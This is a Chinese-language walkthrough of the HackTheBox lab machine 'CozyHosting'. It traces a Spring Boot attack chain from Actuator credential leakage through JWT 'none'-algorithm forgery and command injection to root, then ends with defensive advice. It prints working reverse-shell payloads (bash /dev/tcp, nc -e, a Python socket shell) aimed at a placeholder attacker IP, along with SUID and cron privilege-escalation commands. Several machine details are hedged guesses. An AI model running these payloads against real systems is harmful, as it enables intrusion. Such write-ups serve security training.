1. 项目概述一次从Web到Root的SpringBoot应用渗透之旅最近在HackTheBox平台上一台名为“CozyHosting”的靶机引起了我的注意。它被标记为中等难度但实战下来其攻击链的设计非常精妙几乎是一份针对现代SpringBoot应用安全风险的“标准教案”。从最初的端口扫描到最终的权限提升整个过程清晰地暴露了从配置错误、依赖漏洞到权限模型缺陷等一系列问题。这不仅仅是完成一个CTF挑战更像是对一个典型Java Web应用进行了一次深度的安全审计。如果你正在开发或维护SpringBoot应用或者想深入理解Web渗透测试中如何串联利用多个漏洞那么这次对CozyHosting的实战复盘或许能给你带来不少启发。我们将从外部侦察开始一步步拆解攻击路径并重点分析其中涉及到的SpringBoot安全配置、JWT令牌安全、依赖库漏洞利用以及Linux系统提权技巧。2. 靶机环境侦察与信息收集渗透测试的第一步永远是信息收集目标是尽可能全面地描绘出目标系统的轮廓。对于CozyHosting这台靶机我们首先需要知道它开放了哪些服务运行着什么应用。2.1 初始端口扫描与服务识别我习惯使用nmap进行全端口扫描以发现所有可能的入口点。一个基础的扫描命令是nmap -sC -sV -p- target_ip这个命令会扫描所有65535个端口-p-进行服务版本探测-sV并使用默认脚本进行扫描-sC。在实际对CozyHosting的扫描中我们很快发现了两个关键端口端口22 (SSH)运行着OpenSSH服务。这是Linux系统的标准远程管理端口通常是我们权限提升后建立持久化访问或进行横向移动的通道。初始阶段没有凭据的情况下很难直接利用。端口80 (HTTP)运行着一个Web服务。这通常是我们的主攻方向因为Web应用暴露的功能多攻击面广。注意在真实环境中务必遵守授权范围和法律。这里的扫描仅针对已授权的靶机环境。发现80端口后下一步自然是访问Web页面。通过浏览器访问http://target_ip我们看到了一个名为“CozyHosting”的虚拟主机服务网站。界面看起来是一个提供VPS托管服务的平台有登录和注册功能。这立刻将我们的攻击面聚焦到了这个Web应用上。2.2 Web应用指纹识别与目录探测面对一个Web应用我们需要识别其使用的技术栈。查看HTTP响应头是一个快速的方法。使用浏览器开发者工具或curl命令curl -I http://target_ip在CozyHosting的响应头中我们可能看到类似X-Powered-By: Express这样的字段虽然这里是SpringBoot但某些配置可能泄露信息更关键的是对页面源代码和静态资源如JS/CSS文件路径的分析。然而更直接有效的方法是使用目录爆破工具。我使用了gobuster来寻找隐藏的目录、文件或API端点gobuster dir -u http://target_ip -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,json这个命令使用一个常见的字典对目标URL进行目录爆破并尝试.php,.txt,.html,.json等扩展名。在CozyHosting的案例中一个关键的发现是/actuator目录。对于SpringBoot开发者来说/actuator端点太熟悉了它提供了应用监控和管理的功能。但若配置不当它会成为严重的安全漏洞。3. SpringBoot Actuator端点暴露与利用SpringBoot Actuator模块的设计初衷是为生产环境提供监控和管理能力但它包含的端点可能泄露敏感信息甚至允许远程代码执行。在CozyHosting靶机上暴露的Actuator端点成为了我们获取初步立足点的关键。3.1 Actuator端点枚举与信息泄露访问http://target_ip/actuator通常会返回一个JSON列出所有已启用的端点。常见的危险端点包括/actuator/env 显示所有环境属性可能包含数据库密码、API密钥等。/actuator/heapdump 提供堆转储文件可用于离线分析提取敏感数据。/actuator/loggers 允许动态修改日志级别。/actuator/mappings 显示所有RequestMapping路径。/actuator/beans 显示应用上下文中所有的Spring beans。/actuator/gateway/routes 如果使用了Spring Cloud Gateway。在CozyHosting上我们逐一访问这些端点。/actuator/env端点往往是最有“收获”的。它返回的JSON数据庞大需要仔细筛选。我通常使用grep或者直接浏览器搜索关键词如password,secret,key,token,jdbc等。实操心得不要只看一眼就跳过。有时密码可能以base64编码或者藏在某个嵌套很深的属性里。使用jq工具可以更优雅地解析JSON并过滤。例如curl -s http://target_ip/actuator/env | jq -r .propertySources[].property | to_entries[] | select(.key | test(password|secret|token; i)) | \(.key): \(.value)3.2 从环境变量到数据库凭据经过仔细排查在/actuator/env端点的输出中我们很可能发现一个关键的数据库连接字符串。它可能看起来像这样{ name: spring.datasource.url, value: jdbc:postgresql://localhost:5432/cozyhosting }, { name: spring.datasource.username, value: postgres }, { name: spring.datasource.password, value: V3ryS3cr3tPssw0rd! }这就是一个典型的配置错误将生产环境的数据库密码通过Actuator端点暴露给了任何能访问该URL的人。现在我们拥有了数据库的访问凭据。为什么这很危险SpringBoot的配置优先级中环境变量和命令行参数通常优先级最高。但在开发或测试环境中开发者可能为了方便将密码直接写在application.properties或application.yml中并且没有对Actuator端点进行安全加固如设置独立的管理端口、启用Spring Security保护等。一旦应用部署到公网这些信息就唾手可得。3.3 连接数据库与数据提取拿到数据库凭据后我们可以直接从攻击机连接靶机的PostgreSQL数据库。由于数据库服务5432端口可能只监听在本地localhost我们无法直接远程连接。但别急我们目前是通过Web应用与靶机交互而Web应用本身肯定能连上数据库。我们的思路需要转变利用Web应用已有的漏洞或功能来执行我们想要的数据库操作。然而在更直接的路径上我们可能会发现应用本身存在SQL注入点或者通过后续获取的代码发现数据库操作方式。但在这个阶段Actuator泄露的密码其更大价值在于“凭证复用”。我们尝试用这个密码去登录之前发现的SSH服务端口22或者登录Web应用的管理后台。在CozyHosting的案例中这个密码很可能就是系统某个用户如postgres用户本身或者应用部署用户tomcat、spring等的密码或者是Web应用管理员账户的密码。排查技巧永远不要假设一个密码只用于一个地方。在渗透测试中收集到的任何凭据都应该尝试在所有已发现的服务SSH, FTP, Web后台甚至其他子域名上进行“撞库”。4. 认证绕过与JWT令牌操纵假设我们通过数据库密码成功登录了Web应用的某个普通用户界面但我们的目标是获得更高的权限比如管理员。这时我们需要仔细审视应用的会话管理机制。4.1 会话机制分析与JWT发现现代应用常用JWTJSON Web Token作为无状态的身份验证令牌。通过浏览器开发者工具查看网络请求在登录后的请求头中我们可能会发现一个Authorization: Bearer token字段或者Cookie中包含一个类似eyJhbGciOiJ...的长字符串这就是JWT。JWT由三部分组成用点分隔Header.Payload.Signature。我们可以轻松解码前两部分它们是Base64Url编码的JSON来查看其内容。使用在线工具如jwt.io或命令行工具jwt-toolecho -n eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c | cut -d . -f 1 | base64 -d echo -n eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c | cut -d . -f 2 | base64 -d在解码后的Payload中我们寻找像role,admin,isAdmin,username这样的字段。例如一个普通用户的JWT Payload可能是{ sub: johndoe, role: user, iat: 1633042800 }4.2 JWT令牌篡改与“none”算法攻击我们的目标是获得管理员权限。如果应用在验证JWT时存在逻辑缺陷我们就可以尝试篡改Payload。例如将role: user修改为role: admin。但JWT的第三部分是签名用于防止篡改。如果我们修改了Payload就必须重新生成有效的签名而这需要知道服务端用于签名的密钥secret。然而存在一种经典的JWT攻击方式将签名算法改为“none”。JWT规范允许使用“none”算法表示令牌不签名。如果服务器配置不当它可能会接受一个将alg字段设置为none的令牌并且不验证签名部分。我们可以这样构造一个攻击令牌将Header中的alg从HS256改为none。修改Payload中的role为admin。删除Signature部分或者将Signature设置为空字符串。将修改后的Header.Payload.注意最后有一个点作为新的令牌发送。实操过程使用jwt-tool可以自动化这个过程python3 jwt_tool.py 原始JWT令牌 -X a -I -pc role -pv admin如果服务器存在“none”算法漏洞它就会接受我们这个未签名的、角色为admin的令牌从而让我们获得管理员访问权限。重要提示这种漏洞在现代框架中已较少见但仍是渗透测试中必查的一项。更常见的是弱密钥攻击通过暴力破解或已知密钥库来猜测签名密钥或者密钥混淆攻击当服务器同时支持RS256和HS256时诱使服务器使用公钥作为HMAC密钥来验证令牌。4.3 权限提升后的进一步侦察成功将JWT中的角色篡改为admin后刷新页面或访问管理员专属功能如/admin、/dashboard我们很可能就进入了应用的后台管理界面。这里通常有更强大的功能例如用户管理、服务器管理、文件上传等。在CozyHosting的场景中管理员功能里可能包含一个“管理服务器”或“执行命令”的选项这为我们提供了一个向服务器直接注入命令的入口点。我们需要寻找任何可以输入数据并可能被系统执行的地方。5. 命令注入漏洞利用与初始立足在Web后台我们发现了一个“添加主机”或“测试服务器连接”的功能它要求输入一个主机名或IP地址然后应用似乎会去ping或者ssh这个地址来检查连通性。5.1 漏洞点探测与注入确认这是一个典型的命令注入漏洞场景。应用可能在后端使用类似这样的代码String host request.getParameter(host); String command ping -c 4 host; Process p Runtime.getRuntime().exec(command);如果输入host参数时没有经过严格的过滤如过滤空格、分号、管道符、反引号等我们就可以注入额外的命令。我们尝试输入127.0.0.1; whoami如果应用返回了root或者当前进程用户的用户名那么命令注入就成功了。我们也可以使用时间盲注的方式来测试例如输入127.0.0.1 sleep 5如果请求响应延迟了5秒也说明注入成功。注意事项在测试命令注入时要循序渐进。先使用无害的命令如whoami,id,pwd来确认漏洞存在和执行环境再尝试反弹shell等操作。避免使用可能破坏系统的命令如rm -rf /。5.2 建立反向Shell连接确认命令注入存在后下一步就是在目标服务器上建立一个反向Shell将服务器的命令行会话反弹到我们控制的攻击机上这样我们就能获得一个交互式的终端。首先在攻击机上监听一个端口nc -lvnp 4444然后在存在注入点的Web参数中注入一个反弹Shell的命令。根据目标服务器上的可用工具有多种Payload使用bash127.0.0.1; bash -c bash -i /dev/tcp/攻击机IP/4444 01使用nc(netcat)127.0.0.1; nc 攻击机IP 4444 -e /bin/bash(如果nc支持-e选项)使用python127.0.0.1; python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((攻击机IP,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn(/bin/bash)Python的Payload通常兼容性最好因为它不依赖特定的shell特性并且能生成一个更稳定的TTY。执行注入后如果成功我们会在攻击机的nc监听端口上收到来自靶机的Shell连接。现在我们已经在靶机上获得了初始立足点通常是一个Web服务运行的用户比如tomcat,spring, 或者www-data。5.3 环境稳定与信息收集拿到一个基本的Shell后第一件事是让它变得更稳定、更易用。我们使用Python来升级Shellpython3 -c import pty; pty.spawn(/bin/bash) # 或者 script /dev/null -c bash然后按CtrlZ挂起在攻击机终端输入stty raw -echo; fg最后在反弹的Shell里输入reset并设置终端类型export TERMxterm-256color。这样我们就获得了一个功能完整的交互式Shell。接下来开始收集系统信息为下一步的权限提升做准备id 查看当前用户和所属组。uname -a 查看内核版本。cat /etc/os-release 查看操作系统发行版。sudo -l非常关键查看当前用户能以sudo方式执行哪些命令。如果配置不当可能直接找到提权路径。find / -type f -perm -4000 -o -perm -2000 2/dev/null 查找设置了SUID或SGID位的文件。ps aux 查看运行中的进程寻找以root身份运行的服务或可疑进程。netstat -tulpn或ss -tulpn 查看网络连接和监听端口。ls -la /home和ls -la /root 查看用户目录寻找敏感文件或备份。6. 权限提升路径分析与利用在CozyHosting靶机上我们通过信息收集可能会发现几种经典的提权路径。这里我们探讨两种最常见且在本靶机中可能涉及的方式利用SUID权限的文件和利用系统服务漏洞。6.1 利用SUID权限文件提权SUIDSet User ID是一个特殊的文件权限它允许用户以文件所有者的身份执行该文件。如果找到一个属于root且设置了SUID位的、功能强大的二进制文件并且我们可以控制其执行参数就可能实现提权。运行find / -type f -perm -4000 2/dev/null命令后我们仔细检查列表。常见的危险SUID程序包括find(如果版本较老有-exec参数)vim/vinmap(交互模式)bash(罕见)cp/mvsystemctl(如果配置不当)例如如果发现/usr/bin/find有SUID位并且版本支持-exec我们可以这样提权/usr/bin/find . -exec /bin/bash -p \;-p参数会让bash保留有效用户ID即root从而启动一个root shell。排查技巧可以使用工具如linpeas.sh或linenum.sh来自动化识别潜在的提权向量。这些脚本会系统性地检查SUID/GUID文件、可写目录、cron任务、系统服务、环境变量等并高亮显示已知的漏洞点。6.2 利用系统服务漏洞提权另一种常见的提权方式是攻击以root权限运行的系统服务。我们通过ps aux或systemctl list-units --typeservice来查看服务。在CozyHosting的上下文中我们之前利用的SpringBoot应用本身可能就是一个以root身份运行的服务这在开发环境中并不少见尽管是坏习惯。如果我们能在该应用的内存或文件中找到更多凭据或者利用应用本身的漏洞比如通过文件上传写入Webshell到root可访问的目录也可能提权。更具体地我们可能发现一个自定义的、以root身份运行的脚本或服务。例如一个定时备份脚本cron job以root权限运行并且该脚本调用了我们可控的参数或文件。我们可以通过修改该脚本或它引用的文件来让root执行我们的代码。检查cron任务cat /etc/crontab ls -la /etc/cron.d/ ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/ crontab -l # 查看当前用户的cron crontab -l -u root # 如果允许查看root的cron如果发现一个root的cron任务执行了某个位于可写目录下的脚本我们就可以替换这个脚本内容为反弹shell的命令等待cron执行即可获得root权限。6.3 内核漏洞提权最后手段如果以上方法都行不通我们可以尝试内核漏洞提权。首先用uname -a查看内核版本然后搜索该版本是否存在公开的提权漏洞如DirtyPipe, DirtyCow, PwnKit等。可以使用searchsploit工具在本地搜索searchsploit linux kernel 版本号 privilege或者上传一个像linux-exploit-suggester.sh这样的脚本到靶机它会根据系统信息推荐可能的内核漏洞。重要警告利用内核漏洞提权风险很高可能导致系统崩溃蓝屏/死机。在CTF或授权测试中这通常是最后的选择。在真实生产环境中除非有充分把握和授权否则应避免使用转而报告该漏洞。7. 总结与防御建议回顾整个CozyHosting的渗透过程攻击链清晰而典型信息收集 - 暴露的Actuator端点 - 数据库凭据泄露 - JWT令牌操纵 - 后台命令注入 - 系统提权。每一步都对应着SpringBoot应用开发或部署中的一个常见安全误区。对开发者的防御建议加固Actuator端点 生产环境中务必通过Spring Security保护Actuator端点或通过management.server.port将其部署在独立的内网端口并通过management.endpoints.web.exposure.include严格控制暴露的端点禁用env,heapdump等高风险端点。安全存储敏感配置 数据库密码、API密钥等敏感信息不应明文存储在application.properties中。应使用环境变量、外部密钥管理服务如HashiCorp Vault、AWS Secrets Manager或加密的配置文件。安全的会话管理 使用强密钥对JWT进行签名并验证签名算法。绝对不要接受alg: none的令牌。可以考虑使用非对称加密RS256并妥善保管私钥。对JWT的Payload进行严格的校验。输入验证与命令执行 对所有用户输入进行严格的验证和过滤。避免使用Runtime.exec()或ProcessBuilder直接执行包含用户输入的字符串。如果必须执行系统命令应使用白名单机制并尽量使用参数化调用将命令和参数分开传递。遵循最小权限原则 SpringBoot应用进程不应该以root身份运行。创建一个专用的、低权限的系统用户来运行应用。定期审计系统上的SUID/GUID文件和cron任务移除不必要的特权设置。依赖库安全管理 定期使用OWASP Dependency-Check或Snyk等工具扫描项目依赖及时更新存在已知漏洞的第三方库。这次实战就像一次生动的安全教育课每一个被利用的漏洞都是开发运维过程中一个可以加固的环节。安全是一个持续的过程而非一劳永逸的状态。希望这次对CozyHosting的深度拆解能帮助你在构建和守护自己的应用时多一份警惕少一个漏洞。